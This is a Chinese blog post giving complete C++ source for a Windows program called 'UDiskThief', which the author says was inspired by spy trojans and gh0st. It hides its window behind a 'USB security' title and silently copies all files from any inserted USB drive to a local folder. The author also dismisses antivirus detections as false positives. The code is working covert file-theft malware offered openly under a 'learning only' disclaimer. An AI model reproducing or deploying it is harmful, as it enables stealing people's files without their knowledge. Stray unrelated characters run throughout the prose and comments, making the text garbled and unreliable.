目的:遠(yuǎn)程訪問計算機(jī),從中獲取所需要的文件系奉,并拷貝至本地計算機(jī)檬贰。
靈感:從許多間諜竊取文件機(jī)密的程序中,獲得靈感缺亮。木馬病毒可以在植入“肉雞”以后從中搜索相應(yīng)文件翁涤,并遠(yuǎn)程通過互聯(lián)網(wǎng)傳送回“靶機(jī)”。
思考:因為涉及底層文件處理萌踱,選用C/C++語言進(jìn)行編寫葵礼。但由于之前并未接觸類似知識,得一高人指路并鸵,自此得gh0st源碼鸳粉。開始學(xué)習(xí)之路。
從互聯(lián)網(wǎng)上多方搜索园担,并對學(xué)習(xí)方案進(jìn)行比對届谈,最終選用“老狼”的gh0st課程講解(課程中存在很多錯誤枯夜,而且我最想吐槽老狼的英語口語),并結(jié)合“離別歌"的“關(guān)于gh0st的學(xué)習(xí)筆記”艰山。從中獲益頗多湖雹。
學(xué)習(xí)過程之中我發(fā)現(xiàn)gh0st遠(yuǎn)比我需要實現(xiàn)的功能要強(qiáng)大的多,全面的學(xué)習(xí)工作量大曙搬,并且所需要的基礎(chǔ)知識儲備也更多摔吏。因此在學(xué)習(xí)的過程中,我主要取其中對于文件讀寫纵装、遠(yuǎn)程傳輸征讲、socket套接字和多線程處理等幾個方面重點學(xué)習(xí)。這也是本文存在的原因橡娄,學(xué)習(xí)過程中多為理論與代碼關(guān)系的處理稳诚。在學(xué)習(xí)完C++多線程和文件讀寫后,變想自己嘗試一下去實現(xiàn)一下瀑踢。也就有了本文所要描述的程序扳还。
以下程序代碼僅供學(xué)習(xí)交流使用,不得用于任何非法途徑
本程序中主要實現(xiàn)了--讀取拷貝插入電腦的U盤中的文件到電腦本地橱夭。速度是正常USB拷貝速度2倍(需要考慮usb的類型)氨距。
因為整個拷貝程序是自動后臺運(yùn)行,打開電腦后棘劣,運(yùn)行程序后俏让,所有接入的U盤(移動硬盤除外)硬件中的文件都會拷貝到本機(jī)。整個過程是隱藏的茬暇。
因為寫的比較倉促首昔,沒有加入異常控制和報錯調(diào)試部分模塊糙俗±掌妫可以自行加入Try。巧骚。赊颠。Catch模塊進(jìn)行控制。
代碼全文:(這可能是我注釋寫的最明白的一次了)
#include
#include <Dbt.h>
#include <stdio.h>?
#pragma warning(disable:4996)
using namespace std;
#include "resource.h"
//拷貝線程句柄
HANDLE g_hThreadCopy = NULL;
//拷貝到目的地路徑
TCHAR g_szDestPath[MAX_PATH] = "E:\\BackUDisk";
//獲取當(dāng)前插入設(shè)備對應(yīng)磁盤編號 A--Z
char FirstDriveFromMask(ULONG unitMask);
//判斷路徑是否存在
BOOL IsDirectoryExist(LPCTSTR strPath);
// 開啟拷貝文件線程
HANDLE StartCopyThread(char* szRootPath);
// 停止拷貝線程函數(shù)
void StopCopyThread();
//線程拷貝函數(shù)
DWORD WINAPI CopyDataProc(LPVOID lpParam);
//拷貝指定路徑下所有文件
void Copy(char *lpszSourcePath, char *lpszDestPath);
LRESULT CALLBACK WindowProc(HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam);
int WINAPI WinMain(
HINSTANCE hInstance, //當(dāng)前程序運(yùn)行的實例句柄劈彪,每運(yùn)行一次操作系統(tǒng)會分配一個句柄值
HINSTANCE hPrevInstance, //當(dāng)前實例的前一個實例句柄
LPSTR lpCmdLine, //命令行參數(shù)
int nCmdShow) //窗口顯示方式
{
TCHAR szAppClassName[] = TEXT("UDiskThief");
WNDCLASS wndClass;
wndClass.cbClsExtra = 0;
wndClass.cbWndExtra = 0;
wndClass.hbrBackground = (HBRUSH)GetStockObject(WHITE_BRUSH);
wndClass.hCursor = LoadCursor(NULL, IDC_ARROW);
wndClass.hIcon = LoadIcon(hInstance, MAKEINTRESOURCE(IDI_ICON1));
wndClass.hInstance = hInstance;
wndClass.lpfnWndProc = WindowProc;
wndClass.lpszClassName = szAppClassName;
wndClass.lpszMenuName = NULL;
wndClass.style = CS_VREDRAW | CS_HREDRAW;//
RegisterClass(&wndClass);
//創(chuàng)建窗口竣蹦,窗口是通過句柄來標(biāo)識
HWND hWnd = CreateWindow(szAppClassName, TEXT("U盤安全"), WS_OVERLAPPEDWINDOW, 200, 200, 300, 150, NULL, NULL, hInstance, NULL);
if (hWnd == NULL)
{
MessageBox(NULL, TEXT("創(chuàng)建窗口失敗"), TEXT("提示"), MB_ICONERROR | MB_OK);
return 0;
}
ShowWindow(hWnd, SW_HIDE);
UpdateWindow(hWnd);
//Windows是基于消息的一種事件驅(qū)動方式的程序設(shè)計模式,比如鼠標(biāo)點擊沧奴,Windows會感知這個消息痘括,
//然后將這個事件包裝成一個消息,投遞到應(yīng)用程序的消息隊列,然后應(yīng)用程序從消息隊列中取出這個消息滔吠,冰進(jìn)行響應(yīng)
MSG msg;
while (GetMessage(&msg, NULL, 0, 0))
{
TranslateMessage(&msg); //將虛擬鍵消息轉(zhuǎn)為字符消息
DispatchMessage(&msg); //分發(fā)消息到窗口回調(diào)函數(shù)纲菌,將消息回傳給操作系統(tǒng)
}
return 0;
}
//窗口處理回調(diào)函數(shù)
LRESULT CALLBACK WindowProc(HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam)
{
static PAINTSTRUCT ps;
TCHAR *pszRootPath = NULL;
switch (uMsg)
{
case WM_PAINT:
{
EndPaint(hWnd, &ps);
}
return TRUE;
case WM_CLOSE:
DestroyWindow(hWnd);
break;
case WM_DESTROY:
delete[] pszRootPath;//釋放內(nèi)存
PostQuitMessage(0);
break;
case WM_DEVICECHANGE:
/*
DBT_DEVICEARRIVAL: 已插入計算機(jī)抄淑,并且可以使用
DBT_DEVICEQUERYREMOVE:請求刪除設(shè)備的權(quán)限,任何應(yīng)用程序可以拒絕此請求并取消刪除。
DBT_DEVICEQUERYREMOVEFAILED:請求刪除設(shè)備已被取消驰后。
DBT_DEVICEREMOVEPENDING:設(shè)備即將被刪除,不能被拒絕矗愧。
DBT_DEVICEREMOVECOMPLETE:設(shè)備已被刪除灶芝。
DBT_DEVICETYPESPECIFIC:特定于設(shè)備的事件
DBT_CONFIGCHANGED:當(dāng)前配置已更改。
DBT_DEVNODES_CHANGED:計算機(jī)節(jié)點已更改唉韭。
*/
switch (wParam)
{
//已插入計算機(jī)夜涕,并且可以使用
case DBT_DEVICEARRIVAL:
{
//lParam 指向結(jié)構(gòu)體的指針,標(biāo)識插入的設(shè)備
/*
typedef struct _DEV_BROADCAST_HDR {
DWORD dbch_size;//這個結(jié)構(gòu)的大小属愤,以字節(jié)為單位女器。
DWORD dbch_devicetype; //設(shè)備類型;為2:表示邏輯卷。 DBT_DEVTYP_VOLUME
DWORD dbch_reserved;
} DEV_BROADCAST_HDR, *PDEV_BROADCAST_HDR;
*/
DEV_BROADCAST_HDR* lpdb = (DEV_BROADCAST_HDR*)lParam;
//既然是邏輯卷住诸,獲取盤符名稱
/*
typedef struct _DEV_BROADCAST_VOLUME {
DWORD dbcv_size;//這個結(jié)構(gòu)的大小
DWORD dbcv_devicetype;//設(shè)備類型; DBT_DEVTYP_VOLUME
DWORD dbcv_reserved; //系統(tǒng)保留; 不使用驾胆。
DWORD dbcv_unitmask; //標(biāo)識一個或多個邏輯單元的邏輯單元掩碼。 掩碼中的每個位對應(yīng)于一個邏輯驅(qū)動器贱呐。 位0表示驅(qū)動器A丧诺,位1表示驅(qū)動器B,依此類推奄薇。
WORD? dbcv_flags; ?//標(biāo)志組合 (DBTF_MEDIA:更改影響驅(qū)動器中的介質(zhì)驳阎。DBTF_NET:指示邏輯卷是一個網(wǎng)絡(luò)卷。)
} DEV_BROADCAST_VOLUME, *PDEV_BROADCAST_VOLUME;
*/
DEV_BROADCAST_VOLUME* lpdbv = (DEV_BROADCAST_VOLUME*)lpdb;
char chDisk = FirstDriveFromMask(lpdbv->dbcv_unitmask);
pszRootPath = new TCHAR[MAX_PATH];
sprintf(pszRootPath, "%c:", chDisk);
//判斷驅(qū)動器類型 可移動設(shè)備
if (DRIVE_REMOVABLE == GetDriveType(pszRootPath))
{
Sleep(500);
//創(chuàng)建開始復(fù)制線程
g_hThreadCopy = StartCopyThread(pszRootPath);
}
return TRUE;
}
//設(shè)備已被刪除
case DBT_DEVICEREMOVECOMPLETE:
StopCopyThread();
return TRUE;
}
return TRUE;
}
return DefWindowProc(hWnd, uMsg, wParam, lParam);
}
// 獲取當(dāng)前插入設(shè)備對應(yīng)磁盤編號 A--Z
/*
標(biāo)識一個或多個邏輯單元的邏輯單元掩碼馁蒂。 掩碼中的每個位對應(yīng)于一個邏輯驅(qū)動器呵晚。
位0表示驅(qū)動器A,位1表示驅(qū)動器B沫屡,依此類推饵隙。
*/
char FirstDriveFromMask(ULONG unitMask)
{
/*
位運(yùn)算:
& 按位與 如果兩個相應(yīng)的二進(jìn)制位都為1,則該位的結(jié)果值為1沮脖,否則為0
| 按位或 兩個相應(yīng)的二進(jìn)制位中只要有一個為1癞季,該位的結(jié)果值為1
^ 按位異或 若參加運(yùn)算的兩個二進(jìn)制位值相同則為0,否則為1
~ 按位取反 ~是一元運(yùn)算符倘潜,用來對一個二進(jìn)制數(shù)按位取反绷柒,即將0變1,將1變0
<< 左移 低位補(bǔ)0
>> 右移 向右移動后,正數(shù)的話? 高位補(bǔ)0,負(fù)數(shù)補(bǔ)1
*/
char i;
for (i = 0; i < 32; i++)
{
if (unitMask & 1)
break;
unitMask = unitMask >> 1;
}
return i + 'A';
}
//判斷目錄是否存在
BOOL IsDirectoryExist(LPCTSTR lpszPath)
{
//獲取指定文件或目錄的文件系統(tǒng)屬性涮因。失敗返回:INVALID_FILE_ATTRIBUTES
DWORD dwFileAttr = ::GetFileAttributes(lpszPath);
if (dwFileAttr == INVALID_FILE_ATTRIBUTES)
return FALSE;
if (dwFileAttr & FILE_ATTRIBUTE_DIRECTORY)
return TRUE;
else
return FALSE;
}
// 開啟拷貝文件線程
HANDLE StartCopyThread(char* szRootPath)
{
StopCopyThread();
//在主線程的基礎(chǔ)上創(chuàng)建一個新線程
return CreateThread(
NULL, //線程安全屬性
NULL, //堆棧的初始大蟹夏馈(以字節(jié)為單位)。 如果為0养泡,則新線程使用可執(zhí)行文件的默認(rèn)大小嗜湃。
CopyDataProc, //線程函數(shù)的起始地址
szRootPath, //傳遞給線程的參數(shù)指針
NULL, //線程創(chuàng)建標(biāo)識
NULL); //線程ID
}
// 停止拷貝線程函數(shù)
void StopCopyThread()
{
if (g_hThreadCopy)
{
CloseHandle(g_hThreadCopy);
g_hThreadCopy = NULL;
}
}
//線程拷貝函數(shù)
DWORD WINAPI CopyDataProc(LPVOID lpParam)
{
char *szRootPath = (char*)lpParam;
//開始復(fù)制
Copy(szRootPath, g_szDestPath);
StopCopyThread();
return 0;
}
//拷貝指定路徑下所有文件
void Copy(char *lpszSourcePath, char *lpszDestPath)
{
//拷貝到目的地,判斷路徑是否存在
if (!IsDirectoryExist(lpszDestPath))
{
//創(chuàng)建路徑
SECURITY_ATTRIBUTES sa = { 0 };
CreateDirectory(lpszDestPath, &sa);
}
//查找到的所有類型的文件*.*
TCHAR szSourceFindPath[MAX_PATH];
strcpy(szSourceFindPath, lpszSourcePath);
strcat(szSourceFindPath, "\\*.*");? ? ?//文件名可以包括通配符奈应,例如星號(*)或問號(?)购披。
WIN32_FIND_DATA FindFileData = { 0 }; //存儲文件或目錄的信息
/*
查找文件
第一個參數(shù):路徑或者文件名杖挣。 文件名可以包括通配符,例如星號(*)或問號(刚陡?)惩妇。
第二個參數(shù):指向WIN32_FIND_DATA結(jié)構(gòu)的指針,該結(jié)構(gòu)接收有關(guān)找到的文件或目錄的信息筐乳。
*/
HANDLE hFinder = ::FindFirstFile(szSourceFindPath, &FindFileData);
if (INVALID_HANDLE_VALUE == hFinder)
{
return;
}
while (TRUE)
{
if (FindFileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
{
//如果為文件夾 包括. 或者..
if (FindFileData.cFileName[0] != '.')
{
//遞歸的來源路徑
TCHAR szSourcePath[MAX_PATH];
strcpy(szSourcePath, lpszSourcePath);
strcat(szSourcePath, "\\");
strcat(szSourcePath, FindFileData.cFileName);
//存儲到本地磁盤路徑
TCHAR szDestPath[MAX_PATH];
strcpy(szDestPath, lpszDestPath);
strcat(szDestPath, "\\");
strcat(szDestPath, FindFileData.cFileName);
//遞歸調(diào)用
Copy(szSourcePath, szDestPath);
}
}
else
{
//新的文件
char szNewFileName[MAX_PATH];
char szUsbFileName[MAX_PATH];
sprintf(szNewFileName, "%s\\%s", lpszDestPath, FindFileData.cFileName);
sprintf(szUsbFileName, "%s\\%s", lpszSourcePath, FindFileData.cFileName);
CopyFile(szUsbFileName, szNewFileName, TRUE);
}
if (!FindNextFile(hFinder, &FindFileData))
break;
}
FindClose(hFinder);
}
本文章僅供學(xué)習(xí)交流使用歌殃,程序有可能被殺軟誤殺。我也不知道為什么蝙云。不過我以前寫的程序氓皱,也常被誤殺。勃刨。波材。